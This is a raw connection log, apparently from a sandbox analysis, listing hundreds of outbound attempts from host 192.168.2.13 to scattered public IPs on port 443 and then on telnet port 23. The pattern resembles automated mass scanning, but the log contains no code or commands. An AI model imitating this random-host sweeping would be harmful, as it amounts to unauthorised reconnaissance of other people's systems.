Jan 30, 2025 10:42:58.136550903 CET	38815	443	192.168.2.13	109.189.98.22
Jan 30, 2025 10:42:58.136559010 CET	38815	443	192.168.2.13	2.4.175.95
Jan 30, 2025 10:42:58.136560917 CET	38815	443	192.168.2.13	42.175.8.179
Jan 30, 2025 10:42:58.136564016 CET	38815	443	192.168.2.13	123.64.55.164
Jan 30, 2025 10:42:58.136571884 CET	38815	443	192.168.2.13	109.105.65.147
Jan 30, 2025 10:42:58.136573076 CET	38815	443	192.168.2.13	2.11.42.204
Jan 30, 2025 10:42:58.136584997 CET	38815	443	192.168.2.13	79.54.231.35
Jan 30, 2025 10:42:58.136585951 CET	38815	443	192.168.2.13	212.125.57.214
Jan 30, 2025 10:42:58.136593103 CET	38815	443	192.168.2.13	178.162.228.210
Jan 30, 2025 10:42:58.136606932 CET	38815	443	192.168.2.13	178.231.222.227
Jan 30, 2025 10:42:58.136617899 CET	38815	443	192.168.2.13	37.202.198.178
Jan 30, 2025 10:42:58.136635065 CET	38815	443	192.168.2.13	212.37.202.195
Jan 30, 2025 10:42:58.136636972 CET	38815	443	192.168.2.13	109.83.84.40
Jan 30, 2025 10:42:58.136647940 CET	38815	443	192.168.2.13	5.92.250.144
Jan 30, 2025 10:42:58.136647940 CET	38815	443	192.168.2.13	118.89.116.145
Jan 30, 2025 10:42:58.136661053 CET	38815	443	192.168.2.13	178.103.107.157
Jan 30, 2025 10:42:58.136668921 CET	38815	443	192.168.2.13	79.246.242.48
Jan 30, 2025 10:42:58.136672974 CET	38815	443	192.168.2.13	109.216.135.174
Jan 30, 2025 10:42:58.136677027 CET	38815	443	192.168.2.13	79.41.237.253
Jan 30, 2025 10:42:58.136687040 CET	38815	443	192.168.2.13	178.90.28.177
Jan 30, 2025 10:42:58.136692047 CET	38815	443	192.168.2.13	42.122.142.7
Jan 30, 2025 10:42:58.136706114 CET	38815	443	192.168.2.13	202.228.234.33
Jan 30, 2025 10:42:58.136709929 CET	38815	443	192.168.2.13	117.113.177.12
Jan 30, 2025 10:42:58.136734962 CET	38815	443	192.168.2.13	94.8.1.166
Jan 30, 2025 10:42:58.136746883 CET	38815	443	192.168.2.13	94.47.213.162
Jan 30, 2025 10:42:58.136748075 CET	38815	443	192.168.2.13	109.133.153.47
Jan 30, 2025 10:42:58.136746883 CET	38815	443	192.168.2.13	210.8.38.153
Jan 30, 2025 10:42:58.136748075 CET	38815	443	192.168.2.13	212.219.116.127
Jan 30, 2025 10:42:58.136748075 CET	38815	443	192.168.2.13	37.163.198.154
Jan 30, 2025 10:42:58.136746883 CET	38815	443	192.168.2.13	79.124.58.129
Jan 30, 2025 10:42:58.136748075 CET	38815	443	192.168.2.13	109.121.7.225
Jan 30, 2025 10:42:58.136758089 CET	38815	443	192.168.2.13	148.221.16.185
Jan 30, 2025 10:42:58.136758089 CET	38815	443	192.168.2.13	118.51.30.12
Jan 30, 2025 10:42:58.136759996 CET	38815	443	192.168.2.13	37.124.183.159
Jan 30, 2025 10:42:58.136759996 CET	38815	443	192.168.2.13	123.84.41.189
Jan 30, 2025 10:42:58.136760950 CET	38815	443	192.168.2.13	210.240.197.218
Jan 30, 2025 10:42:58.136761904 CET	38815	443	192.168.2.13	37.235.20.17
Jan 30, 2025 10:42:58.136773109 CET	38815	443	192.168.2.13	148.38.24.176
Jan 30, 2025 10:42:58.136775017 CET	38815	443	192.168.2.13	117.76.123.121
Jan 30, 2025 10:42:58.136780977 CET	38815	443	192.168.2.13	210.53.34.198
Jan 30, 2025 10:42:58.136780977 CET	38815	443	192.168.2.13	202.243.16.221
Jan 30, 2025 10:42:58.136780977 CET	38815	443	192.168.2.13	210.111.70.168
Jan 30, 2025 10:42:58.136780977 CET	38815	443	192.168.2.13	5.222.185.189
Jan 30, 2025 10:42:58.136785984 CET	38815	443	192.168.2.13	79.29.234.235
Jan 30, 2025 10:42:58.136780977 CET	38815	443	192.168.2.13	117.225.143.236
Jan 30, 2025 10:42:58.136780977 CET	38815	443	192.168.2.13	212.112.38.114
Jan 30, 2025 10:42:58.136795998 CET	38815	443	192.168.2.13	118.125.88.136
Jan 30, 2025 10:42:58.136795998 CET	38815	443	192.168.2.13	148.210.17.215
Jan 30, 2025 10:42:58.136807919 CET	38815	443	192.168.2.13	202.189.51.171
Jan 30, 2025 10:42:58.136810064 CET	38815	443	192.168.2.13	178.236.179.190
Jan 30, 2025 10:42:58.136818886 CET	38815	443	192.168.2.13	79.15.170.3
Jan 30, 2025 10:42:58.136836052 CET	38815	443	192.168.2.13	118.171.231.98
Jan 30, 2025 10:42:58.136836052 CET	38815	443	192.168.2.13	109.21.32.250
Jan 30, 2025 10:42:58.136882067 CET	38815	443	192.168.2.13	2.17.232.209
Jan 30, 2025 10:42:58.136883974 CET	38815	443	192.168.2.13	178.59.102.160
Jan 30, 2025 10:42:58.136884928 CET	38815	443	192.168.2.13	94.78.168.100
Jan 30, 2025 10:42:58.136887074 CET	38815	443	192.168.2.13	5.205.122.24
Jan 30, 2025 10:42:58.136887074 CET	38815	443	192.168.2.13	118.225.3.51
Jan 30, 2025 10:42:58.136888027 CET	38815	443	192.168.2.13	109.233.71.85
Jan 30, 2025 10:42:58.136887074 CET	38815	443	192.168.2.13	117.220.209.62
Jan 30, 2025 10:42:58.136888027 CET	38815	443	192.168.2.13	5.106.27.77
Jan 30, 2025 10:42:58.136890888 CET	38815	443	192.168.2.13	5.99.26.212
Jan 30, 2025 10:42:58.136897087 CET	38815	443	192.168.2.13	37.147.109.14
Jan 30, 2025 10:42:58.136897087 CET	38815	443	192.168.2.13	117.222.84.117
Jan 30, 2025 10:42:58.136900902 CET	38815	443	192.168.2.13	210.160.12.119
Jan 30, 2025 10:42:58.136900902 CET	38815	443	192.168.2.13	2.16.152.11
Jan 30, 2025 10:42:58.136900902 CET	38815	443	192.168.2.13	118.101.232.86
Jan 30, 2025 10:42:58.136904001 CET	38815	443	192.168.2.13	148.36.38.54
Jan 30, 2025 10:42:58.136914968 CET	38815	443	192.168.2.13	79.50.8.202
Jan 30, 2025 10:42:58.136904001 CET	38815	443	192.168.2.13	5.159.73.203
Jan 30, 2025 10:42:58.136917114 CET	38815	443	192.168.2.13	109.114.220.178
Jan 30, 2025 10:42:58.136915922 CET	38815	443	192.168.2.13	37.117.190.214
Jan 30, 2025 10:42:58.136917114 CET	38815	443	192.168.2.13	118.194.241.58
Jan 30, 2025 10:42:58.136914968 CET	38815	443	192.168.2.13	5.55.70.89
Jan 30, 2025 10:42:58.136917114 CET	38815	443	192.168.2.13	117.31.125.223
Jan 30, 2025 10:42:58.136923075 CET	38815	443	192.168.2.13	5.65.101.124
Jan 30, 2025 10:42:58.136925936 CET	38815	443	192.168.2.13	118.226.48.36
Jan 30, 2025 10:42:58.136925936 CET	38815	443	192.168.2.13	117.203.196.148
Jan 30, 2025 10:42:58.136928082 CET	38815	443	192.168.2.13	94.241.165.126
Jan 30, 2025 10:42:58.136926889 CET	38815	443	192.168.2.13	210.171.52.209
Jan 30, 2025 10:42:58.136928082 CET	38815	443	192.168.2.13	2.26.187.246
Jan 30, 2025 10:42:58.136928082 CET	38815	443	192.168.2.13	2.87.131.72
Jan 30, 2025 10:42:58.136928082 CET	38815	443	192.168.2.13	212.56.77.227
Jan 30, 2025 10:42:58.136933088 CET	38815	443	192.168.2.13	118.254.123.250
Jan 30, 2025 10:42:58.136928082 CET	38815	443	192.168.2.13	118.87.66.81
Jan 30, 2025 10:42:58.136928082 CET	38815	443	192.168.2.13	94.154.8.209
Jan 30, 2025 10:42:58.136928082 CET	38815	443	192.168.2.13	123.227.62.18
Jan 30, 2025 10:42:58.136938095 CET	38815	443	192.168.2.13	42.10.222.65
Jan 30, 2025 10:42:58.136945009 CET	38815	443	192.168.2.13	117.38.55.21
Jan 30, 2025 10:42:58.136945009 CET	38815	443	192.168.2.13	94.184.111.217
Jan 30, 2025 10:42:58.136938095 CET	38815	443	192.168.2.13	37.250.213.142
Jan 30, 2025 10:42:58.136938095 CET	38815	443	192.168.2.13	42.24.172.176
Jan 30, 2025 10:42:58.136938095 CET	38815	443	192.168.2.13	94.200.118.219
Jan 30, 2025 10:42:58.136960030 CET	38815	443	192.168.2.13	178.79.7.81
Jan 30, 2025 10:42:58.136960030 CET	38815	443	192.168.2.13	94.223.172.46
Jan 30, 2025 10:42:58.136967897 CET	38815	443	192.168.2.13	148.39.134.201
Jan 30, 2025 10:42:58.136991978 CET	38815	443	192.168.2.13	109.174.120.196
Jan 30, 2025 10:42:58.136992931 CET	38815	443	192.168.2.13	212.105.173.103
Jan 30, 2025 10:42:58.137000084 CET	38815	443	192.168.2.13	210.109.134.51
Jan 30, 2025 10:42:58.137007952 CET	38815	443	192.168.2.13	109.88.18.174
Jan 30, 2025 10:42:58.137012959 CET	38815	443	192.168.2.13	42.85.180.237
Jan 30, 2025 10:42:58.137017965 CET	38815	443	192.168.2.13	202.57.107.139
Jan 30, 2025 10:42:58.137018919 CET	38815	443	192.168.2.13	118.6.195.146
Jan 30, 2025 10:42:58.137022972 CET	38815	443	192.168.2.13	202.134.143.124
Jan 30, 2025 10:42:58.137023926 CET	38815	443	192.168.2.13	109.215.128.207
Jan 30, 2025 10:42:58.137032986 CET	38815	443	192.168.2.13	94.162.113.22
Jan 30, 2025 10:42:58.137044907 CET	38815	443	192.168.2.13	212.162.205.91
Jan 30, 2025 10:42:58.137062073 CET	38815	443	192.168.2.13	109.13.105.138
Jan 30, 2025 10:42:58.137062073 CET	38815	443	192.168.2.13	178.56.5.12
Jan 30, 2025 10:42:58.137063026 CET	38815	443	192.168.2.13	212.109.148.227
Jan 30, 2025 10:42:58.137080908 CET	38815	443	192.168.2.13	37.223.195.198
Jan 30, 2025 10:42:58.137082100 CET	38815	443	192.168.2.13	210.255.199.222
Jan 30, 2025 10:42:58.137087107 CET	38815	443	192.168.2.13	210.207.206.65
Jan 30, 2025 10:42:58.137096882 CET	38815	443	192.168.2.13	2.37.179.178
Jan 30, 2025 10:42:58.137110949 CET	38815	443	192.168.2.13	210.93.157.156
Jan 30, 2025 10:42:58.137110949 CET	38815	443	192.168.2.13	212.148.181.97
Jan 30, 2025 10:42:58.137120008 CET	38815	443	192.168.2.13	212.79.173.103
Jan 30, 2025 10:42:58.137134075 CET	38815	443	192.168.2.13	212.235.8.245
Jan 30, 2025 10:42:58.137135983 CET	38815	443	192.168.2.13	94.254.183.185
Jan 30, 2025 10:42:58.137156963 CET	38815	443	192.168.2.13	178.232.146.171
Jan 30, 2025 10:42:58.137165070 CET	38815	443	192.168.2.13	37.253.229.76
Jan 30, 2025 10:42:58.137176037 CET	38815	443	192.168.2.13	202.108.230.221
Jan 30, 2025 10:42:58.137195110 CET	38815	443	192.168.2.13	118.102.169.245
Jan 30, 2025 10:42:58.137198925 CET	38815	443	192.168.2.13	79.101.23.173
Jan 30, 2025 10:42:58.137200117 CET	38815	443	192.168.2.13	42.121.234.58
Jan 30, 2025 10:42:58.137200117 CET	38815	443	192.168.2.13	148.216.202.107
Jan 30, 2025 10:42:58.137206078 CET	38815	443	192.168.2.13	178.125.147.144
Jan 30, 2025 10:42:58.137207031 CET	38815	443	192.168.2.13	2.202.188.182
Jan 30, 2025 10:42:58.137207031 CET	38815	443	192.168.2.13	5.94.29.18
Jan 30, 2025 10:42:58.137207985 CET	38815	443	192.168.2.13	37.105.250.130
Jan 30, 2025 10:42:58.137207031 CET	38815	443	192.168.2.13	94.24.210.23
Jan 30, 2025 10:42:58.137212992 CET	38815	443	192.168.2.13	79.113.122.31
Jan 30, 2025 10:42:58.137221098 CET	38815	443	192.168.2.13	148.139.39.175
Jan 30, 2025 10:42:58.137221098 CET	38815	443	192.168.2.13	37.150.1.121
Jan 30, 2025 10:42:58.137228012 CET	38815	443	192.168.2.13	202.229.56.33
Jan 30, 2025 10:42:58.137233973 CET	38815	443	192.168.2.13	178.4.15.141
Jan 30, 2025 10:42:58.137247086 CET	38815	443	192.168.2.13	5.146.39.159
Jan 30, 2025 10:42:58.137248039 CET	38815	443	192.168.2.13	118.219.130.187
Jan 30, 2025 10:42:58.137254953 CET	38815	443	192.168.2.13	109.186.196.232
Jan 30, 2025 10:42:58.137263060 CET	38815	443	192.168.2.13	118.70.91.129
Jan 30, 2025 10:42:58.137262106 CET	38815	443	192.168.2.13	148.119.57.161
Jan 30, 2025 10:42:58.137267113 CET	38815	443	192.168.2.13	37.52.27.173
Jan 30, 2025 10:42:58.137276888 CET	38815	443	192.168.2.13	178.37.223.133
Jan 30, 2025 10:42:58.137280941 CET	38815	443	192.168.2.13	109.52.117.144
Jan 30, 2025 10:42:58.137291908 CET	38815	443	192.168.2.13	79.78.107.78
Jan 30, 2025 10:42:58.137291908 CET	38815	443	192.168.2.13	202.164.177.115
Jan 30, 2025 10:42:58.137307882 CET	38815	443	192.168.2.13	79.162.251.101
Jan 30, 2025 10:42:58.137310028 CET	38815	443	192.168.2.13	5.28.138.46
Jan 30, 2025 10:42:58.137310028 CET	38815	443	192.168.2.13	210.35.48.106
Jan 30, 2025 10:42:58.137326002 CET	38815	443	192.168.2.13	5.248.37.212
Jan 30, 2025 10:42:58.137331963 CET	38815	443	192.168.2.13	178.21.153.219
Jan 30, 2025 10:42:58.137332916 CET	38815	443	192.168.2.13	123.157.24.1
Jan 30, 2025 10:42:58.137341976 CET	38815	443	192.168.2.13	37.59.203.195
Jan 30, 2025 10:42:58.137342930 CET	38815	443	192.168.2.13	210.237.217.248
Jan 30, 2025 10:42:58.137342930 CET	38815	443	192.168.2.13	123.178.67.13
Jan 30, 2025 10:42:58.137352943 CET	38815	443	192.168.2.13	212.130.73.86
Jan 30, 2025 10:42:58.137358904 CET	38815	443	192.168.2.13	42.95.151.120
Jan 30, 2025 10:42:58.137372017 CET	38815	443	192.168.2.13	37.151.127.94
Jan 30, 2025 10:42:58.137372017 CET	38815	443	192.168.2.13	210.150.82.71
Jan 30, 2025 10:42:58.137377977 CET	38815	443	192.168.2.13	118.167.121.98
Jan 30, 2025 10:42:58.137391090 CET	38815	443	192.168.2.13	5.134.29.169
Jan 30, 2025 10:42:58.137391090 CET	38815	443	192.168.2.13	117.32.97.247
Jan 30, 2025 10:42:58.137396097 CET	38815	443	192.168.2.13	2.231.33.24
Jan 30, 2025 10:42:58.137403011 CET	38815	443	192.168.2.13	42.52.164.243
Jan 30, 2025 10:42:58.137408018 CET	38815	443	192.168.2.13	94.151.208.195
Jan 30, 2025 10:42:58.137422085 CET	38815	443	192.168.2.13	109.77.146.196
Jan 30, 2025 10:42:58.137422085 CET	38815	443	192.168.2.13	94.95.159.155
Jan 30, 2025 10:42:58.137429953 CET	38815	443	192.168.2.13	109.217.125.235
Jan 30, 2025 10:42:58.137437105 CET	38815	443	192.168.2.13	210.8.74.234
Jan 30, 2025 10:42:58.137455940 CET	38815	443	192.168.2.13	5.167.18.195
Jan 30, 2025 10:42:58.137463093 CET	38815	443	192.168.2.13	123.125.77.130
Jan 30, 2025 10:42:58.137464046 CET	38815	443	192.168.2.13	212.126.27.17
Jan 30, 2025 10:42:58.137464046 CET	38815	443	192.168.2.13	117.94.121.52
Jan 30, 2025 10:42:58.137471914 CET	38815	443	192.168.2.13	178.229.221.185
Jan 30, 2025 10:42:58.137480021 CET	38815	443	192.168.2.13	5.162.0.54
Jan 30, 2025 10:42:58.137482882 CET	38815	443	192.168.2.13	2.252.127.214
Jan 30, 2025 10:42:58.137495995 CET	38815	443	192.168.2.13	123.236.208.213
Jan 30, 2025 10:42:58.137496948 CET	38815	443	192.168.2.13	5.236.17.247
Jan 30, 2025 10:42:58.137499094 CET	38815	443	192.168.2.13	37.133.186.170
Jan 30, 2025 10:42:58.137509108 CET	38815	443	192.168.2.13	123.71.30.118
Jan 30, 2025 10:42:58.137516975 CET	38815	443	192.168.2.13	148.148.248.1
Jan 30, 2025 10:42:58.137517929 CET	38815	443	192.168.2.13	109.94.217.114
Jan 30, 2025 10:42:58.137525082 CET	38815	443	192.168.2.13	210.99.160.19
Jan 30, 2025 10:42:58.137538910 CET	38815	443	192.168.2.13	37.68.41.128
Jan 30, 2025 10:42:58.137551069 CET	38815	443	192.168.2.13	210.200.213.155
Jan 30, 2025 10:42:58.137551069 CET	38815	443	192.168.2.13	2.122.218.171
Jan 30, 2025 10:42:58.137557030 CET	38815	443	192.168.2.13	109.90.96.254
Jan 30, 2025 10:42:58.137564898 CET	38815	443	192.168.2.13	37.76.89.22
Jan 30, 2025 10:42:58.137581110 CET	38815	443	192.168.2.13	109.42.20.243
Jan 30, 2025 10:42:58.137584925 CET	38815	443	192.168.2.13	202.174.142.209
Jan 30, 2025 10:42:58.137599945 CET	38815	443	192.168.2.13	210.201.68.70
Jan 30, 2025 10:42:58.137609959 CET	38815	443	192.168.2.13	94.244.49.184
Jan 30, 2025 10:42:58.137614965 CET	38815	443	192.168.2.13	178.224.35.66
Jan 30, 2025 10:42:58.137617111 CET	38815	443	192.168.2.13	117.86.22.2
Jan 30, 2025 10:42:58.137624979 CET	38815	443	192.168.2.13	2.238.176.22
Jan 30, 2025 10:42:58.137636900 CET	38815	443	192.168.2.13	117.36.72.1
Jan 30, 2025 10:42:58.137636900 CET	38815	443	192.168.2.13	2.31.9.190
Jan 30, 2025 10:42:58.137654066 CET	38815	443	192.168.2.13	42.45.107.168
Jan 30, 2025 10:42:58.137662888 CET	38815	443	192.168.2.13	210.158.25.152
Jan 30, 2025 10:42:58.137665033 CET	38815	443	192.168.2.13	5.98.154.84
Jan 30, 2025 10:42:58.137665033 CET	38815	443	192.168.2.13	212.1.250.139
Jan 30, 2025 10:42:58.137679100 CET	38815	443	192.168.2.13	178.224.122.11
Jan 30, 2025 10:42:58.137686014 CET	38815	443	192.168.2.13	2.148.196.163
Jan 30, 2025 10:42:58.137696028 CET	38815	443	192.168.2.13	210.200.238.74
Jan 30, 2025 10:42:58.137698889 CET	38815	443	192.168.2.13	94.13.16.20
Jan 30, 2025 10:42:58.137701035 CET	38815	443	192.168.2.13	79.171.42.144
Jan 30, 2025 10:42:58.137716055 CET	38815	443	192.168.2.13	2.178.37.92
Jan 30, 2025 10:42:58.137718916 CET	38815	443	192.168.2.13	42.67.141.212
Jan 30, 2025 10:42:58.137718916 CET	38815	443	192.168.2.13	37.46.166.83
Jan 30, 2025 10:42:58.137729883 CET	38815	443	192.168.2.13	202.199.54.9
Jan 30, 2025 10:42:58.137742043 CET	38815	443	192.168.2.13	178.243.188.66
Jan 30, 2025 10:42:58.137747049 CET	38815	443	192.168.2.13	42.214.162.122
Jan 30, 2025 10:42:58.137751102 CET	38815	443	192.168.2.13	5.27.178.175
Jan 30, 2025 10:42:58.137751102 CET	38815	443	192.168.2.13	118.255.124.127
Jan 30, 2025 10:42:58.137759924 CET	38815	443	192.168.2.13	5.70.118.224
Jan 30, 2025 10:42:58.137765884 CET	38815	443	192.168.2.13	37.121.127.94
Jan 30, 2025 10:42:58.137774944 CET	38815	443	192.168.2.13	212.233.113.244
Jan 30, 2025 10:42:58.137779951 CET	38815	443	192.168.2.13	210.48.143.179
Jan 30, 2025 10:42:58.137784004 CET	38815	443	192.168.2.13	79.237.205.121
Jan 30, 2025 10:42:58.137790918 CET	38815	443	192.168.2.13	5.15.137.92
Jan 30, 2025 10:42:58.137799025 CET	38815	443	192.168.2.13	2.236.163.10
Jan 30, 2025 10:42:58.137801886 CET	38815	443	192.168.2.13	42.154.106.206
Jan 30, 2025 10:42:58.137814045 CET	38815	443	192.168.2.13	202.119.206.103
Jan 30, 2025 10:42:58.137823105 CET	38815	443	192.168.2.13	123.5.197.208
Jan 30, 2025 10:42:58.137830019 CET	38815	443	192.168.2.13	42.139.250.110
Jan 30, 2025 10:42:58.137831926 CET	38815	443	192.168.2.13	118.193.14.109
Jan 30, 2025 10:42:58.137847900 CET	38815	443	192.168.2.13	210.90.103.65
Jan 30, 2025 10:42:58.137851000 CET	38815	443	192.168.2.13	94.153.95.13
Jan 30, 2025 10:42:58.137851000 CET	38815	443	192.168.2.13	202.215.228.90
Jan 30, 2025 10:42:58.137865067 CET	38815	443	192.168.2.13	117.111.228.175
Jan 30, 2025 10:42:58.137871027 CET	38815	443	192.168.2.13	148.241.127.183
Jan 30, 2025 10:42:58.137878895 CET	38815	443	192.168.2.13	178.248.50.119
Jan 30, 2025 10:42:58.137882948 CET	38815	443	192.168.2.13	178.56.191.14
Jan 30, 2025 10:42:58.137887001 CET	38815	443	192.168.2.13	79.212.68.48
Jan 30, 2025 10:42:58.137917042 CET	38815	443	192.168.2.13	210.143.3.75
Jan 30, 2025 10:42:58.137919903 CET	38815	443	192.168.2.13	178.152.227.64
Jan 30, 2025 10:42:58.137919903 CET	38815	443	192.168.2.13	5.30.208.126
Jan 30, 2025 10:42:58.137922049 CET	38815	443	192.168.2.13	148.121.114.88
Jan 30, 2025 10:42:58.137929916 CET	38815	443	192.168.2.13	109.36.131.91
Jan 30, 2025 10:42:58.137933016 CET	38815	443	192.168.2.13	202.145.223.236
Jan 30, 2025 10:42:58.137933969 CET	38815	443	192.168.2.13	212.207.4.93
Jan 30, 2025 10:42:58.137934923 CET	38815	443	192.168.2.13	42.187.250.175
Jan 30, 2025 10:42:58.137933969 CET	38815	443	192.168.2.13	42.134.10.254
Jan 30, 2025 10:42:58.137934923 CET	38815	443	192.168.2.13	37.9.92.35
Jan 30, 2025 10:42:58.137933969 CET	38815	443	192.168.2.13	210.174.88.214
Jan 30, 2025 10:42:58.137933969 CET	38815	443	192.168.2.13	109.172.45.225
Jan 30, 2025 10:42:58.137947083 CET	38815	443	192.168.2.13	178.77.248.146
Jan 30, 2025 10:42:58.137948990 CET	38815	443	192.168.2.13	109.30.14.227
Jan 30, 2025 10:42:58.137948990 CET	38815	443	192.168.2.13	5.236.94.66
Jan 30, 2025 10:42:58.137952089 CET	38815	443	192.168.2.13	94.75.219.163
Jan 30, 2025 10:42:58.137952089 CET	38815	443	192.168.2.13	123.248.110.154
Jan 30, 2025 10:42:58.137959003 CET	38815	443	192.168.2.13	118.252.193.244
Jan 30, 2025 10:42:58.137952089 CET	38815	443	192.168.2.13	79.6.19.211
Jan 30, 2025 10:42:58.137959003 CET	38815	443	192.168.2.13	117.67.11.175
Jan 30, 2025 10:42:58.137952089 CET	38815	443	192.168.2.13	109.80.127.157
Jan 30, 2025 10:42:58.137962103 CET	38815	443	192.168.2.13	79.196.169.185
Jan 30, 2025 10:42:58.137962103 CET	38815	443	192.168.2.13	117.77.68.101
Jan 30, 2025 10:42:58.137965918 CET	38815	443	192.168.2.13	42.3.245.110
Jan 30, 2025 10:42:58.137975931 CET	38815	443	192.168.2.13	2.254.4.92
Jan 30, 2025 10:42:58.137975931 CET	38815	443	192.168.2.13	123.117.38.210
Jan 30, 2025 10:42:58.137975931 CET	38815	443	192.168.2.13	123.226.218.199
Jan 30, 2025 10:42:58.137983084 CET	38815	443	192.168.2.13	148.245.239.91
Jan 30, 2025 10:42:58.137984037 CET	38815	443	192.168.2.13	148.5.2.77
Jan 30, 2025 10:42:58.137984037 CET	38815	443	192.168.2.13	5.254.83.249
Jan 30, 2025 10:42:58.137990952 CET	38815	443	192.168.2.13	148.13.10.107
Jan 30, 2025 10:42:58.137990952 CET	38815	443	192.168.2.13	118.64.60.143
Jan 30, 2025 10:42:58.137984991 CET	38815	443	192.168.2.13	42.216.131.178
Jan 30, 2025 10:42:58.137984991 CET	38815	443	192.168.2.13	118.8.199.95
Jan 30, 2025 10:42:58.137989044 CET	38815	443	192.168.2.13	148.84.45.171
Jan 30, 2025 10:42:58.137999058 CET	38815	443	192.168.2.13	118.80.145.13
Jan 30, 2025 10:42:58.137988091 CET	38815	443	192.168.2.13	42.59.74.69
Jan 30, 2025 10:42:58.138588905 CET	34554	443	192.168.2.13	117.47.93.92
Jan 30, 2025 10:42:59.083982944 CET	38884	23	192.168.2.13	124.165.59.108
Jan 30, 2025 10:42:59.083982944 CET	38884	23	192.168.2.13	44.61.73.116
Jan 30, 2025 10:42:59.084006071 CET	38884	23	192.168.2.13	106.37.17.84
Jan 30, 2025 10:42:59.083983898 CET	38884	23	192.168.2.13	139.9.159.105
Jan 30, 2025 10:42:59.084006071 CET	38884	23	192.168.2.13	190.119.83.131
Jan 30, 2025 10:42:59.084006071 CET	38884	23	192.168.2.13	142.0.140.248
Jan 30, 2025 10:42:59.084006071 CET	38884	23	192.168.2.13	179.237.80.105
Jan 30, 2025 10:42:59.084006071 CET	38884	23	192.168.2.13	202.180.88.45
Jan 30, 2025 10:42:59.084006071 CET	38884	23	192.168.2.13	8.199.160.213
Jan 30, 2025 10:42:59.084006071 CET	38884	23	192.168.2.13	178.109.102.192
Jan 30, 2025 10:42:59.084011078 CET	38884	23	192.168.2.13	181.196.69.130
Jan 30, 2025 10:42:59.084011078 CET	38884	23	192.168.2.13	196.134.168.167
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	50.36.72.190
Jan 30, 2025 10:42:59.084011078 CET	38884	23	192.168.2.13	86.47.60.248
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	210.36.49.11
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	89.125.122.254
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	58.188.77.216
Jan 30, 2025 10:42:59.084014893 CET	38884	23	192.168.2.13	159.230.53.1
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	172.84.36.212
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	178.46.45.140
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	163.23.66.58
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	189.205.146.125
Jan 30, 2025 10:42:59.084012032 CET	38884	23	192.168.2.13	96.53.121.91
Jan 30, 2025 10:42:59.084014893 CET	38884	23	192.168.2.13	211.232.244.182
Jan 30, 2025 10:42:59.084014893 CET	38884	23	192.168.2.13	162.94.2.150
Jan 30, 2025 10:42:59.084014893 CET	38884	23	192.168.2.13	25.19.71.126
Jan 30, 2025 10:42:59.084014893 CET	38884	23	192.168.2.13	199.72.212.75
Jan 30, 2025 10:42:59.084014893 CET	38884	23	192.168.2.13	9.192.127.55
Jan 30, 2025 10:42:59.084028959 CET	38884	23	192.168.2.13	139.37.145.33
Jan 30, 2025 10:42:59.084028006 CET	38884	23	192.168.2.13	57.160.23.138
Jan 30, 2025 10:42:59.084029913 CET	38884	23	192.168.2.13	2.128.120.29
Jan 30, 2025 10:42:59.084029913 CET	38884	23	192.168.2.13	178.171.42.251
Jan 30, 2025 10:42:59.084029913 CET	38884	23	192.168.2.13	79.212.255.39
Jan 30, 2025 10:42:59.084029913 CET	38884	23	192.168.2.13	213.248.146.213
Jan 30, 2025 10:42:59.084028006 CET	38884	23	192.168.2.13	63.17.233.222
Jan 30, 2025 10:42:59.084028006 CET	38884	23	192.168.2.13	172.238.35.83
Jan 30, 2025 10:42:59.084028006 CET	38884	23	192.168.2.13	114.46.43.81
Jan 30, 2025 10:42:59.084028959 CET	38884	23	192.168.2.13	88.47.49.105
Jan 30, 2025 10:42:59.084028959 CET	38884	23	192.168.2.13	164.194.89.222
Jan 30, 2025 10:42:59.084028959 CET	38884	23	192.168.2.13	150.202.116.202
Jan 30, 2025 10:42:59.084028959 CET	38884	23	192.168.2.13	130.93.213.184
Jan 30, 2025 10:42:59.084148884 CET	38884	23	192.168.2.13	205.8.142.232
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	65.188.112.60
Jan 30, 2025 10:42:59.084151030 CET	38884	23	192.168.2.13	62.76.113.54
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	18.195.112.237
Jan 30, 2025 10:42:59.084151030 CET	38884	23	192.168.2.13	53.121.152.182
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	2.175.140.58
Jan 30, 2025 10:42:59.084151030 CET	38884	23	192.168.2.13	72.131.18.91
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	158.245.213.93
Jan 30, 2025 10:42:59.084151030 CET	38884	23	192.168.2.13	172.249.160.253
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	151.48.134.100
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	77.192.244.202
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	86.61.245.187
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	40.89.214.28
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	122.122.182.153
Jan 30, 2025 10:42:59.084156036 CET	38884	23	192.168.2.13	197.154.143.17
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	134.80.221.26
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	62.156.251.45
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	76.41.255.3
Jan 30, 2025 10:42:59.084151030 CET	38884	23	192.168.2.13	152.90.84.19
Jan 30, 2025 10:42:59.084150076 CET	38884	23	192.168.2.13	62.200.63.82
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	101.18.152.127
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	171.183.43.151
Jan 30, 2025 10:42:59.084156036 CET	38884	23	192.168.2.13	50.102.239.10
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	151.177.75.134
Jan 30, 2025 10:42:59.084151030 CET	38884	23	192.168.2.13	107.116.190.175
Jan 30, 2025 10:42:59.084153891 CET	38884	23	192.168.2.13	220.70.237.247
Jan 30, 2025 10:42:59.084156036 CET	38884	23	192.168.2.13	156.209.28.128
